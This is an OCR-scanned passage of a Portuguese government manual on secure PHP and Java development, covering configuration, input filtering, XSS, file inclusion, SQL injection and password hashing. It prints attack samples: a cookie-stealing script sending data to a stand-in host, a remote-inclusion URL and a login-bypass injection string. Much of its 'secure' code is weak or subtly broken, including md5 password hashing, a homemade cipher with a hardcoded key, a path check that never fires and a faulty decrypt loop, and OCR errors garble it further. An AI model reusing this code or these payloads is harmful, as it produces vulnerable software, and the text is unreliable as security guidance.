para reportar todos os tipos de mensagens de erro, avisos e mensagens com dicas
de melhoria de codigo. Isto pode ser feito da seguinte forma:

error_reporting = E_ALL | E_STRICT

Em ambiente de producéo, por questdes de performance, essa diretriz deve ser
habilitada da seguinte forma:

error_reporting = E_ALL & ~E_DEPRECATED

Diretivas:

> Manter a diretriz error_reporting = E_ALL & ~E_DEPRECATED em ambiente de produc&o.

2.2.3.5. error_log

Esta diretriz define o nome do arquivo no qual seréo registrados os erros do script
executado. O valor especial syslog pode ser usado para que 0S erros sejam

enviados para o log do sistema.
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Somente o servidor web e o administrador de seguranca do sistema devem ter

permisséo para ler e escrever este arquivo de log.

Diretivas:

» Somente o servidor web e o administrador de seguranca do sistema devem ter permisséo

para ler e escrever o arquivo de log de erros.

2.2.3.6. expose_php
Sintaxe: expose_php =[ On | Off ]

Esta diretriz deve estar desabilitada, para preservar informacdes relativas a verséao
do PHP instalada no servidor.

Diretivas:

» Manter a diretriz expose_php = Off.

2.2.4. Configuracao de um servidor compartilhado

Caso o sistema em PHP esteja hospedado em um servidor compartilhado, os
valores das diretrizes devem ser definidos através da funcdo ini_set(), mas €
importante lembrar que o servidor deve conter 0 maximo de configuracdes possiveis

definidas diretamente no arquivo php.ini e no arquivo de configuragdes.

As configuracbes devem ser armazenadas em um arquivo separado, que sera
incluido no inicio da execucéo do programa, através da funcédo include(). Os valores

definidos terdo validade apenas durante a execucdo do programa.

A funcéo ini_set() possui 2 parametros: a diretriz de configuracéo, e o valor atribuido

a mesma, respectivamente.

<?php

ini_set('display_errors', 'Off");
ini_set('log_errors', 'On');
ini_set(‘error_log', '../logs/php_error.log’);
>
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Outra forma de definir os valores das diretrizes € inserindo instru¢ées em um arquivo

.htaccess no seu diretorio de trabalho. Esta instru¢éo pode ser um php_flag:

php_flag register_globals 0

Ou pode ser um php_value:

| php_value register_globals off

Quando um arquivo .htaccess é utilizado para esta ou outra finalidade, é necessario

atribuir seguranga ao mesmo, com a inclusédo do codigo seguinte:

<Files “.ht*">
deny from all
</Files>

E importante ressaltar que a utilizacdo de arquivos .htaccess e da fungéo ini_set()

pode causar perda de performance.

Diretivas:

» Em servidores compartilhados, os valores das diretrizes devem ser definidos através da
funcéo ini_set() ou de instru¢cdes em um arquivo .htaccess;

> E necessario atribuir seguranca aos arquivos .htaccess utilizados para definir diretrizes.
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2.2.5. Variaveis

Todas as variaveis externas (recebidas de um formulario, via URL, arquivos
recebidos via upload), devem ter suas propriedades verificadas antes de serem

processadas. Para isso, SG0 necessarios 0s seguintes passos:

Verificar se foi atribuido um valor a variavel;
Registrar a variavel no ambiente de execucéo;
Verificar se a variavel é do tipo esperado;

Verificar se o tamanho da variavel estd em conformidade;

o bk~ 0N PR

Verificar se a variavel esta dentro da faixa de valores prevista.

Diretivas:

» Todas as varidveis externas devem ter suas propriedades verificadas antes de serem

processadas.

2.2.6. Tipos de dados

Toda variavel recebida deve ser testada, para verificar se seu tipo de dado esta

conforme o previsto.

A funcao is_int() verifica se a variavel é inteira:

<?php

if (is_int($variavel)){
echo "Variavel inteira";

}else {

echo "N&ao é uma variavel inteira";

}

?>

A funcdo isset() verifica se a variavel foi iniciada:

<?php
if (isset($variavel)){

echo "Variavel iniciada";
}else {

echo "Variavel ndo iniciada";

}
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?>

A funcéo is_array() verifica se a variavel é um array:

<?php
if (is_array($variavel)){

echo "Variavel é um array";
}else {

echo "Variavel ndo é um array";

}

>

A funcéo is_bool() verifica se a variavel € um numero booleano:

<?php
if (is_bool($variavel)){

echo "Variavel é um nimero booleano";
}else {

echo "Variavel ndo é um nimero booleano ;

}

>

A funcao is_float() verifica se a variavel é um float:

<?php
if (is_float($variavel)){

echo "Variavel é um float";
}else {

echo "Variavel ndo é um float";

}

72>

A funcéo is_null() verifica se a variavel € NULL.:

<?php
if (is_nullt($variavel)){

echo "Variavel € NULL";
}else {

echo "Variavel ndo é NULL";

}

7>

SEPLAG - Padrdo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

A funcéo is_numeric() verifica se a variavel € um nidmero ou uma string numeérica:

<?php
if (is_numeric($variavel)){

echo "Variavel € um nimero ou uma string numérica";
}else {

echo "Variavel ndo é um nimero ou uma string numérica";

}

>

A funcdo is_object() verifica se a variavel € um objeto:

<?php
if (is_object($variavel)){

echo "Variavel € um objeto";
}else {

echo "Variavel ndo é um objeto";

}

72>

A funcao is_resource() verifica se a variavel € um resource:

<?php
if (is_resource($variavel)){

echo "Variavel é um resource";
}else {

echo "Variavel ndo é um resource";

}

?>

A funcéo is_scalar() verifica se a variavel é escalar:

<?php
if (is_scalar($variavel)){

echo "Variavel é escalar";
}else {

echo "Variavel nao é escalar";

}

7>
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A funcéo is_string() verifica se a variavel € uma string:

<?php
if (is_string($variavel)){

echo "Variavel é uma string";
}else {

echo "Variavel ndo é uma string";

}

>

A funcdo gettype retorna uma string com o tipo da variavel:

<?php

$variavel = ‘teste’;

echo gettype ($variavel);
7>

A funcéo settype() atribui um tipo a uma variavel:

<?php

$var1 = “LC3"; // string

$var2 = true; // booleano

settype($var1, “integer”); // a variavel $var1 passa a ter o valor = 3 (inteiro)
settype($var2, “string”); // a variavel $var2 passa a ter o valor = “1” (string)
7>

Diretivas:

» Toda variavel recebida deve ser testada.
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2.2.7. Filtro de dados

Devem ser criados mecanismos para filtrar o valor atribuido a uma variavel, ou seja,
verificar se o valor estd em conformidade com o previsto. Desta forma, se um campo
de um formulario foi criado para receber nomes proprios, o filtro deve ser aplicado

para impedir que sejam fornecidos niUmeros ou caracteres especiais.

Algumas questdes especificas merecem cuidados especiais, como, por exemplo,
nomes proprios que possuem apostrofe, e devem receber tratamento adequado de

acordo com a aplicacéo.

A funcdo a seguir verifica se um numero inteiro esta dentro de uma determinada

faixa de valores:

<?php
function checkint($var, $min, $max){
$var = intval($var);
if ($var >= $min && $var <= $max){
return ($var);
}else {
return (FALSE);
}
}

>

<?php

// testando a variavel $idade com a faixa de valores entre 0 e 120
$idade = isset($_REQUEST["idade"]) ? $ REQUEST["idade"] : NULL;
$idade = checkint($idade, 0, 120);

?>

O filtro para strings pode ser aplicado como no exemplo abaixo, uma vez que uma

string pode assumir qualquer valor:

if (isset( $valor ) && $valor == NULL ) {

/I $valor € uma string

}
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A funcéo is_int() pode ser usada para filtrar valores numéricos:

$ano = $_POST['ano’];

if (lis_int($ano ) ) exit ( "$ano € um valor invalido para determinar o ano!" );

A funcéo gettype() também pode ser usada na aplicacéo de filtros:

if ( gettype( $ano ) !="integer") {
exit ("$ano é um valor invalido para definir o ano!" );

}

As trés formas a seguir podem ser usadas para transformar uma variavel em um

valor inteiro:

‘ $ano = intval( $_POST[ '‘ano'] ); ‘

‘ $ano = (int) $_POST[ ‘ano' |; ‘

if (!settype ( $ano, ‘integer') ) {
exit ( "$ano é um valor invélido para definir o ano!" );

}

Valores booleanos também devem ser filtrados:

if (lis_bool ( $flag) ) {
exit ( "$flag ndo é um valor booleano!" );

}

A aplicacao de filtros para verificar o tamanho da variavel € de extrema importancia,

pois previne diversos ataques, como o buffer overflow:

‘ if ( strlen( $ano ) != 4) exit ( "$ano é um valor invalido para definir o ano!" );

Exemplo de cédigo para validar tipos e formatos de varios valores submetidos pelos

usuarios, restringindo o filtro apenas as variaveis esperadas:
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<?php
/I configura um vetor com valores e tipos esperados de variaveis

$esperados = array( 'produto’=>'string’, 'estoque'=>"int' , imagem'=>'filename’ );

/I verifica o valor e o tamanho de cada entrada
foreach ( $esperadas AS $temp=>$tipo ) {
if (empty($_GET[ $temp])){
${$tempo} = NULL;
continue;
}
switch ( $tipo ) {
case 'string' :
if (is_string($_GET[ $temp ]) && strlen( $_GET[ $temp ]) < 256) {
${$temp} = $_GET[ $temp ;
}
break;
case 'int':
if (is_int( $_GET[ $temp])) {
${$temp} = $_GET[ $temp ;
}
break;
case ‘filename' ;
/I'limita nomes de arquivos a 64 caracteres
if (is_string($_GET[ $temp ] ) && strlen($_GET[ $temp]) <64 ) {
/I escapa de qualquer ndo-ASCII
${$temp} = str_replace('%"’, '_', rawurlencode( $_GET[ $temp]));
/I proibe pontos duplos
if ( strpos( ${$temp}, "..') === TRUE ) {
${$temp} = NULL;
}
}
break;
}
if (lisset( ${Stemp}{
${$temp} = NULL;
}
}

/I entrada validada para uso na aplicacao

Diretivas:

> Todas as variaveis recebidas devem ser filtradas.
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2.2.8. Permitindo apenas variaveis esperadas

Todas as variaveis previstas para serem recebidas por input devem ser

explicitamente listadas em um vetor:

<?php
I interface do usuario

$esperadas = array ( 'produto’, 'fabricante’, 'valor') ;

/I interface do administrador
if ($admin ) {
$esperadas[] = 'lucro’ ;

}

foreach( $esperadas AS $temp ){
if (lempty( $_POST[ $temp ])){
${$temp} = $_POST[ $temp |;
}else {
${$temp} = NULL;
}
}

>

No exemplo anterior, as variaveis esperadas sao listadas em um vetor, e recebem o
valor através do loop foreach(). H& ainda a variavel lucro, que é adicionada ao vetor

apenas se o usudario for o administrador.

Diretivas:

» Todas as variaveis esperadas devem ser explicitamente listadas em um vetor.
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2.2.9. Ataques por formularios
2.2.9.1. Spam

Em formularios de e-mail, as variaveis de entrada devem ser registradas e tratadas

com expressodes regulares, conforme o exemplo a sequir:

<?php
/I recebe e registra 0 nome e o e-mail do usuario
$nome = isset ($_POST['nome"]) ? $ POST['nome"] : NULL,;

$email = isset ($_POST["email']) ? $_POST["email"] : NULL;

/I Aplica expressao regular para testar nome e e-mail
if(leregi("Na-zA-Z]*[a-zA-Z ]+[a-zA-Z]$", $nome))

exit "Nome Suspeito!";
if(leregi("Na-zA-Z0-9._-]+@[a-z0-9-]+(\.[a-z0-9-]+){1,3}$", $e-mail))

exit "Enderecgo de e-mail suspeito!";

$Headers = "From: {$nome} <{$email}>";

$Body = $ POST['mensagemY;

$To = "contato@exemplo";

$Subject = "Fale conosco";

mail ($To, $Subject, $Body, $Headers);

?>

As expressfes regulares aplicadas no coédigo apresentado, aliadas ao registro das
variaveis, impedem que um usudario insira quebras de linhas maliciosas nos campos
nome e e-mail. Uma quebra de linha com o cabecgalho “Bcc:”, por exemplo, permitiria

0 envio de mensagens indesejadas a diversos destinatarios.
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A funcéo preg_match() também pode ser utilizada para a validacdo de dados:

<?php

$clean = array();

if (preg_match("/A[0-9]+:[X-Z]+$/D", $_GET['var)) {

$clean['var] = $_GET['varT;

?>

Diretivas:

» Registrar e tratar com expressdes regulares as variaveis recebidas de formularios.

2.2.9.2. Cross-Site Scripting (XSS)

Assim como no combate a spams, € necessario o registro e o tratamento adequado

de variaveis recebidas pelo formulario.

Um dos atagues mais comuns de XSS é o roubo de cookies, que pode ser feito com

a simples insercao do seguinte cédigo em um campo do formulario:

<script>

document.location = 'http://malicioso/roubo.php?cookies=" + document.cookie

</script>

Para evitar este ataque, a funcao htmlispecialchars() deve ser utilizada na estrutura

de filtros.

$variavel = htmlspecialchars($_REQUEST["variavel"]);
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Desta forma, o cédigo inserido pelo usuario ndo causaria problemas, pois caracteres
especiais seriam reconhecidos como caracteres normais, sendo apenas exibido pelo

browser da seguinte forma:

&lt;script&gt;

document.location = 'http://malicioso/roubo.php?cookies=" + document.cookie

&lt;/script&gt

Diretivas:

> Utilizar a fungéo htmispecialchars(), ou similar, na estrutura de filtros.

2.2.9.3. Upload de arquivo

Arquivos recebidos de formularios devem ser testados antes de serem armazenados

em definitivo.

Todo arquivo deve ter sua extensao verificada, para que sejam recebidos apenas 0s

arquivos com as extensodes previstas pelo sistema.

A veracidade do tipo do arquivo também deve ser verificada, j& que arquivos podem
ser renomeados com outras extensdes. Uma das maneiras de realizar esta

verificacdo é através da funcao exif_imagetype().

Solucbes de software antivirus devem ser utilizadas para verificar os arquivos

recebidos;

A integridade dos arquivos também deve ser verificada, ja que o0 mesmo pode nao

ter sido completamente recebido.

Diretivas:

Armazenar arquivos recebidos em diretorios temporarios até que sejam testados;
Verificar a extenséo do arquivo;
Verificar a veracidade do tipo do arquivo;

Escanear o arquivo com softwares antivirus;

YV V V V V

Verificar a integridade do arquivo recebido.
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2.2.10. Protegendo o cédigo fonte e os arquivos

Todo codigo deve ser delimitado pelas tags de abertura e fechamento do PHP. Caso
contrario, 0 mesmo pode ser exposto, por exemplo, quando chamado através da
funcao include(), que alterna os modos do interpretador entre PHP e HTML.

Quanto aos arquivos, deve ser adotada a politica de invisibilidade da extenséo dos
arquivos na URL, aliada a desativacao da diretriz expose_php. O exemplo a seguir é
uma forma incorreta de criar links, pois expde tanto o local onde o arquivo se

encontra, quanto a extensao do mesmo:

<?php

/I link com caminho e extens&o expostos

$inc = isset($_REQUEST["inc"]) ? $_REQUEST]["inc"] : "../exemplo.php";

include($inc);

72>

<li><a href="?inc=../exemplo.php">Exemplo</a>

Para corrigir esse problema, a extensao dos arquivos referenciados nos links deve

ser definida previamente, como no exemplo a seguir:

<?php

/l'link com caminho e extenséo escondidos

$inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "exemplo";

include("../" . $inc . ".php");

?>

<li><a href="?inc=exemplo">Exemplo</a>

Diretivas:

» Todo cddigo deve ser delimitado pelas tags de abertura e fechamento do PHP;
> Deve ser adotada a politica de invisibilidade da extens&o dos arquivos na URL;

> A extensdo dos arquivos referenciados nos links deve ser definida previamente;
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2.2.11. Implementando White list

Deve ser implementada a técnica de White list para catalogar arquivos que podem
ser incluidos em uma pagina através da funcdo include() e suas variantes. Esta
técnica pode ser implementada através da funcéo includecheck(), e pode ser
implementada ainda a fungéo registerattack(), para manter o registro das eventuais
tentativas de ataque por meio da funcao include():

<?php
/I funcao para registrar as tentativas de ataque
function registerattack($path){

$logfile ="../attack.log’;

$reg = date("M j H:i:s (T) *);

$reg .= "SRC $_SERVER[REMOTE_ADDR] : $ SERVER[REMOTE_PORT], ";
$reg .= "DST $_SERVER[SERVER_NAME] : $ SERVER[SERVER_PORT], *;
$reg .= "Agent $ SERVER[HTTP_USER_AGENT], ";

$reg .= "String \"$path\"\n";

if (I$handle = fopen($logfile, 'a")){
print("<b>Erro</b>: Nao foi possivel abrir o arquivo $logfile.");

exit;

if (fwrite($handle, $reg)){
print("<b>Erro</b>: Impossivel gravar no arquivo $logfile.");

exit;

fclose($handle);
}

?>

<?php
function includecheck($file){
/I define a White list
$WhiteList = array('../cont.php’ => ",
"../prod.php' =>"|
"..Iport.php' =>");

/I testa se o arquivo esta em White list
if (lisset($WhiteList[$file])){
/I registra em arquivo dados do incidente

registerattack($file);
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/I aborta execucao geral
die("<b>Atencao</b>: Tentativa de violagdo de seguranca!;
}
include ($file);
}

<?php
/I tratamento do link recebido pela URL
$inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "port";

includecheck("../" . $inc . ".php");

?>

<?php

/I criagao do link

<li><a href="?inc=port">Portfélio</a>
<li><a href="?inc=prod">Produtos</a>
<li><a href="?inc=cont">Contato</a>

72>

Caso a White list ndo seja implementada, o sistema pode sofrer uma injecdo de
codigo, ou seja, um atacante pode inserir codigos maliciosos que tornariam o
servidor vulneravel, realizando uma chamada de URL parecida com a exemplificada

a sequir:

http://www.exemplo/?quiz=http://invasor/code.inc

Diretivas:

» Deve ser implementada a técnica de White list;

» As eventuais tentativas de ataque devem ser registradas;

2.2.12. Sessoes seguras

As sessdes sdo um recurso do PHP que preserva determinadas variaveis em
acessos posteriores, eliminando a necessidade de multiplas autenticagdes. Devido a

iISS0, 0 uso de sessdes deve estar sempre associado a criptografia.

Para cada sesséo, € gerado um identificador unico (SID — Session Identifier), que é
armazenado em um cookie ou propagado pela URL. Para dificultar o acesso a esta
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informacéo, a diretriz session.use_only cookies deve ser ativada no arquivo de
configuragcéo php.ini, e os cookies devem estar ativados no browser. Esta medida

também evita ataques de fixacdo de sessdes.

Diretivas:

» O uso de sessfes deve estar sempre associado a criptografia;

» A diretriz session.use_only_cookies deve ser ativada no arquivo de configurag&o php.ini.

2.2.13. Criptografia e hash

Todas as informacBes confidenciais devem ser criptografadas antes de trafegarem
ou serem armazenadas no banco de dados. No caso de senhas de acesso, apenas
o hash deve ser armazenado. Aliado a isso, o algoritmo de hash deve ser
combinado com senhas de criptografia, o que aumentard a qualidade e a

imprevisibilidade da codificacao.

Uma maneira simples de criar hash no PHP € através da funcdo md5():

<?php
$senha = md5(‘'senha secreta’ . '54321");

7>

No exemplo acima, a fungcdo md5() foi combinada com a senha “54321”.

Em casos especificos, pode ser necessario criptografar e decifrar uma informacéao
em um determinado momento. Isso pode ser feito através das funcdes

md5_encrypt() e md5_decrypt():

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

<?php
function get_rnd_iv($iv_len){
$iv =",
while ($iv_len-- > 0){
$iv .= chr(mt_rand() & Oxff);
}

return $iv;

function md5_encrypt ($plain_text, $password, $iv_len = 16){

$plain_text .= "\x13";

$n = strlen($plain_text);

if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));

$i=0;

$enc_text = get_rnd_iv($iv_len);

$iv = substr($password » $enc_text, 0, 512);

while ($i < $n){

$block = substr($plain_text, $i, 16) ~ pack('H*', md5($iv));

$enc_text .= $block;
$iv = substr($block . $iv, 0, 512) » $password,;
$i += 16;

}

return base64_encode($enc_text);

}

function md5_decrypt ($enc_text, $password, $iv_len = 16){
$enc_text = base64_decode($enc_text);
$n = strlen($enc_text);
$i = $iv_len;
$plain_text =",
$iv = substr($password ~ substr($enc_text, 0, $iv_len), 0, 512);
while ($iv < $n){
$block = substr($enc_text, $i, 16);
$plain_text .= $block ~ pack('H*', md5($iv));
$iv = substr($block . $iv, 0, 512) » $password;

$i += 16;
}
return preg_replace(/\x13\x00*$/", ", $plain_text);
}
7>
<?php

$criptografado = md5_encrypt (“Teste", "54321");
echo $criptografado;

echo "<br>";

$normal = md5_decrypt ($criptografado, "54321");
echo $normal;
7>
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Diretivas:

» Todas as informac8es confidenciais devem ser criptografadas antes de trafegarem ou serem

armazenadas no banco de dados;

» O algoritmo de criptografia deve ser combinado com uma senha de criptografia.

2.2.14. Variavel criptografada na URL

Toda variavel utilizada na URL para definir a pagina a ser incluida, ou chamada,

deve ter seu conteudo criptografado:

<?php
$inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "../exemplo.php";

$inc = md5_decrypt ($inc, "54321");

include($inc);

7>

<li><a href="?inc=DPmaFAiCZrugNSNhOZaaq7Xpd8RgQsU5bTzQMIgBhRM=">Exemplo</a>

Para o exemplo acima, a variavel $inc é recebida criptografada. A criptografia pode

ser feita da seguinte forma:

<?php

echo md5_encrypt("../exemplo.php", "54321");

72>

Como resultado, esta seria a URL gerada:

http://www.dominio/?inc=DPmaFAICZrugNSNhOZaaq7Xpd8RaOQsU5bTzOMIgBhRM

Diretivas:

» Todas variavel utilizada na URL deve ter ser contetdo criptografado.
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2.2.15. SQL injection

O SQL injection € um tipo de ataque caracterizado pelo uso de consultas arbitrarias
por usuarios ndo autorizados. Quanto mais o atacante conhece a estrutura do
banco, mais facil se torna a acdo do mesmo. Para manter a privacidade da estrutura
do banco de dados, os nomes das variaveis usadas nos formularios HTML né&o

devem ser iguais aos nomes usados nas tabelas do banco de dados.

Em um formulario para autenticacdo de usuarios, com os campos login e senha, um

atacante poderia fazer a seguinte entrada no campo login:

admin’#

Desta forma, a query resultante seria a seguinte:

SELECT * FROM usuarios WHERE login="admin’# AND password="xxx’

Independente da entrada que o atacante fizesse para o campo senha, o mesmo
seria autenticado no sistema como administrador, uma vez que, apés a insercao do

caractere #, o restante da consulta seria considerado como um simples comentario.
Por este motivo, todas as variaveis devem ser corretamente filtradas.

Neste caso, 0 uso da funcdo addslashes() ajudaria a resolver o problema. Basta

aplica-la a variavel que recebe os dados de login:

$login = addslashes($login);

$senha = addslashes($senha);

E recomendavel o uso da prepared statement do proprio PHP para tratamento de

SQL Injection, que pode ser obtida em:

http://php.net/manual/en/pdo.prepared-statements.php

Diretivas:

» Os nomes das variaveis usadas nos formularios HTML ndo devem ser iguais aos nomes
usados nas tabelas do banco de dados;

» Todas as variaveis devem ser filtradas.
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2.3. Técnicas de Seguranca em Java
2.3.1. Validacao de entradas de dados

A validacao de entradas de dados é um dos itens mais importantes da seguranca de
sistemas. Qualquer dado recebido pelo sistema deve ser validado, verificando se o
mesmo € seguro, ou seja, ndo contém propriedades que caracterizem possiveis
ataques, como SQL injection, Cross Site Scripting (XSS) e Cross Site Request
Forgery (CSRF).

Para validar, por exemplo, uma entrada de dados em que se espera receber apenas

nameros, o método isdigit() pode ser utilizado.

Expressdes regulares devem ser usadas para validar as entradas. As expressoes
regulares devem conter ainda um arquivo de configuracdo que possa ser facilmente
atualizado por um profissional de seguranca, sem a necessidade de intervencao por

parte de programadores ou de implantacdo de um novo cadigo.

2.3.1.1. Adicionando légica de validacdo ao objeto HTTPServletRequest

Em uma aplicacdo Java EE, toda entrada de usuarios vem do objeto
HTTPServletRequest. Usando métodos nesta classe, tais como getParameter,
getCookie, e getHeader, o sistema pode receber informagdes nao tratadas
diretamente do browser do usuério. Desta forma, tudo que for recebido do
usuario no objeto HTTPServletRequest deve ser considerado suspeito e deve ser
validado antes de ser usado.

A validacao de dados pode ser adicionada ao objeto HTTPServletRequest. Uma das
formas de implementar esta validagdo € atraves de um Modelo de Seguranca
Positiva, 0 qual nega tudo o que néo for explicitamente permitido.

No exemplo a seguir, € usado um filtro Java EE para cobrir todas as requisicdes com
uma nova classe que estende a classe HttpServletRequestWrapper, e todos os
meétodos especificos que recebem dados de usuarios sao substituidos por

chamadas que fazem a validag&o antes de retornar o dado:
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public class ValidatingHttpRequest extends HttpServletRequestWrapper {

public ValidatingHttpRequest(HttpServletRequest request) {

super(request);

public String getParameter(String name) {
HttpServletRequest req = (HttpServietRequest) super.getRequest();

return validate( name, req.getParameter( name ) );

/I Atencéo — vocé pode opcionalmente permitir o recebimento de parametro néo preparado
public String getRawParameter( String name ) {

HttpServletRequest req = (HttpServletRequest) super.getRequest();

return req.getParameter( name );

... Siga este padréao para getHeader(), getCookie(), etc...

private Pattern pattern = Pattern.compile(""[a-zA-Z0-9]{0,20}$");

private String validate( String name, String input ) throws ValidationException {

String canonical = canonicalize( input );

/I verifique se a entrada corresponde ao conjunto de caracteres da whitelist
if (!pattern.matcher( canonical ).matches() ) {

throw new ValidationException( "Formato impréprio em " + name + " field";

/I € possivel codificar entidades html, mas provavelmente sera melhor fazer isso antes da saida

/I canonical = HTMLEntityEncode( canonical );

return canonical;

/I Simplifica o format das entradas para tornar mais dificeis os truques de codificagao
private String canonicalize( String input ) {
String canonical = sun.text.Normalizer.normalize( input, Normalizer. DECOMP, 0 );
return canonical;
}
/I Para mais detalhes, acesse http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_Java
/I Retorna caodigos de entidades html equivalents para qualquer character especial
public static String HTMLEntityEncode( String input ) {
StringBuffer sb = new StringBuffer();
for (inti=0;i<input.length(); ++i) {
char ch = input.charAt(i);
if (ch>="a' && ch<='7' || ch>='A" && ch<="Z' || ch>='0" && ch<='9") {
sb.append( ch);

}else {
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sb.append( "&#" + (int)ch + ";");

}
return sb.toString();

Assim, € necessario garantir que todas as requisicdes do sistema serdo cobertas

pela classe acima, a partir de:

public class ValidationFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {

chain.doFilter(new ValidatingHttpRequest( (HttpServletRequest)request ), response);

Para adicionar o filtro, basta inserir as classes acima no classpath do sistema, e

configurar o filtro no arquivo web.xml:

<filter>
<filter-name>ValidationFilter</filter-name>
<filter-class>ValidationFilter</filter-class>

<ffilter>

<filter-mapping>
<filter-name>ValidationFilter</filter-name>
<url-pattern>/*</url-pattern>

<ffilter-mapping>

No exemplo apresentado acima, todas as requisicbes HTTP sao validadas de
acordo com o0 mesmo padréo de validagéo.
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2.3.1.2. Codificando entidades HTML

Ataques por meio de injecdo de codigos se baseiam no fato de que interpretadores
de cédigo recebem os dados e os executam como comandos. Desta forma, caso um
atacante modifigue o dado a ser enviado, o mesmo pode confundir o interpretador.

Uma das formas de prevenir esse ataque € impedindo a producdo de caracteres

especiais:
/* return StringBuilder and/or make Writer param and write to stream directly*/
public static String htmlEntityEncode( String s )
{
StringBuilder buf = new StringBuilder(s.length());
for (inti=0;i<len;i++)
{
char ¢ = s.charAt(i );
if (c>='a' && c<='2"|| c>='A' && c<='Z"|| c>="0" && c<='9")
{
buf.append( ¢ );
}
else
{
buf.append("&#").append((int)c).append(*;");
}
}
return buf.toString();
}

E recomendavel que todos os caracteres de controle que ndo representem espacos

em branco sejam removidos do fluxo de saida em HTML.:

public static StringBuilder escapeHtmIFull(String s)
{
StringBuilder b = new StringBuilder(s.length());
for (inti = 0; i < s.length(); i++)
{
char ch = s.charAt(i);
if (ch>='a'&& ch <='7"|| ch >="A"' && ch <="Z" || ch >='0' && ch <="'9)

{
/] safe
b.append(ch);
}
else if (Character.isWhitespace(ch))
{

/[ paranoid version: whitespaces are unsafe - escape

/I conversion of (int)ch is naive
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b.append("&#").append((int) ch).append(";");
}
else if (Character.isISOControl(ch))
{
/I paranoid version:isISOControl which are not isWhitespace removed !
/I do nothing do not include in output !
}
else
{
/I paranoid version
/I the rest is unsafe, including <127 control chars
b.append("&#" + (int) ch +";");
}
}
return b;
}

O cdbdigo precisa ser fixado novamente, para ndo haver problemas com caracteres

Unicode suplementares:

public static StringBuilder escapeHtmIFull(String s)
{
StringBuilder b = new StringBuilder(s.length());
for (inti = 0; i < s.length(); i++)
{
char ch = s.charAt(i);
if (ch>='a'&& ch <='7Z"|| ch >="A"' && ch <="Z" || ch >='0' && ch <="'9)
{
I safe
b.append(ch);
}
else if (Character.isWhitespace(ch))
{
/I paranoid version: whitespaces are unsafe - escape
/I conversion of (int)ch is naive
b.append("&#").append((int) ch).append(";");
}
else if (Character.isISOControl(ch))
{
/I paranoid version:isISOControl which are not isWhitespace removed !
/[ do nothing do not include in output !
}
else if (Character.isHighSurrogate(ch))
{
int codePoint;
if (i + 1 < s.length() && Character.isSurrogatePair(ch, s.charAt(i + 1))
&& Character.isDefined(codePoint = (Character.toCodePoint(ch, s.charAt(i + 1)))))
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{
b.append("&#").append(codePoint).append(";");
}
else
{
log("bug:isHighSurrogate");
}
i++; /lin both ways move forward
}
else if(Character.isLowSurrogate(ch))
{
/I wrong char[] sequence, //TODO: LOG !!!
log("bug:isLowSurrogate™);
i++; // move forward,do nothing do not include in output !
}
else
{
if (Character.isDefined(ch))
{
/I paranoid version
/I the rest is unsafe, including <127 control chars
b.append("&#").append((int) ch).append(";");
}
/Ido nothing do not include undefined in output!
}
}
}
Diretivas:

» Todo dado recebido pelo sistema deve ser validado;

» Expressdes regulares devem ser utilizadas para validacdo de entradas de dados.
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2.3.2. Autenticacdo
2.3.2.1. Armazenando senhas com seguranca

Todas as senhas devem ser armazenadas em formato hash. Em hip6tese alguma as

senhas podem ser armazenadas em texto normal.

Tendo em vista que as senhas sdo secretas, ndo ha motivos para que as mesmas
sejam decifradas. Portanto, ndo deve ser utilizada uma técnica de hash reversivel

para o armazenamento de senhas.

A funcdo de hash cria uma pequena impressao digital (message digest), em

tamanho fixo, de um texto ilimitado:

import java.security.MessageDigest;

public byte[] getHash(String password) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getinstance("SHA-1");
digest.reset();
byte[] input = digest.digest(password.getBytes("UTF-8"));

}

Utilizando apenas a técnica acima, senhas idénticas teriam o mesmo hash, o que
criaria uma oportunidade de atague. Para que este problema seja resolvido, a senha
deve ser concatenada com um nuamero randémico (salt) antes da operacgéo de hash,

conforme o exemplo a seguir:

import java.security.MessageDigest;
public byte[] getHash(String password, byte[] salt) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getinstance("SHA-256");
digest.reset();
digest.update(salt);
return digest.digest(password.getBytes("UTF-8"));
}

O salt deve ser diferente para cada entrada de senha, e deve ser armazenado como

texto normal na mesma tabela onde é armazenado o hash da senha.

Para desacelerar a execucao de ataques, a operacdo de hash deve ser realizada

varias vezes, armazenando a senha no seguinte formato:

Hash(hash(...hash(senha]|salt)))
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A desaceleragéo pode ser realizada da seguinte forma:

import java.security.*;
public byte[] getHash(int iterationNb, String password, byte[] salt) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getinstance("SHA-1");
digest.reset();
digest.update(salt);
byte[] input = digest.digest(password.getBytes("UTF-8"));
for (inti=0; i < iterationNb; i++) {
digest.reset();
input = digest.digest(input);
}

return input;

}

2.3.2.2. Seguranca declarativa

O sistema deve ser configurado para restringir 0 acesso aos recursos via descritor
de implantacdo (web.xml). Isto é chamado de controle de acesso declarativo ou

seguranca declarativa.

O fragmento do arquivo web.xml abaixo implementa seguranca declarativa por meio
de autenticacdo béasica. Como resultado, aparecera uma janela popup onde o
usuério devera entrar com seu home e senha sempre que 0 mesmo tentar acessar
um arquivo PDF ou qualquer arquivo do diretorio “restrictedfiles”. Neste caso em
particular, as credenciais do usuario devem ser reconhecidas como sendo parte do

grupo “admin”.

<web-app>

<security-constraint>
<web-resource-collection>
<web-resource-name>Restricted Resources</web-resource-name>
<url-pattern>*.pdf</url-pattern>
<url-pattern>/restrictedfiles/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
<user-data-constraint>
<transport-guarantee>NONE</transport-guarantee>
</user-data-constraint>
</security-constraint>

<login-config>
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<auth-method>BASIC</auth-method>
<realm-name>Restricted Files</realm-name>
</login-config>
<security-role>
<role-name>admin</role-name>

</security-role>

</web-app>

Outra forma de implementar seguranca declarativa é através da autenticacao via

formuléario:

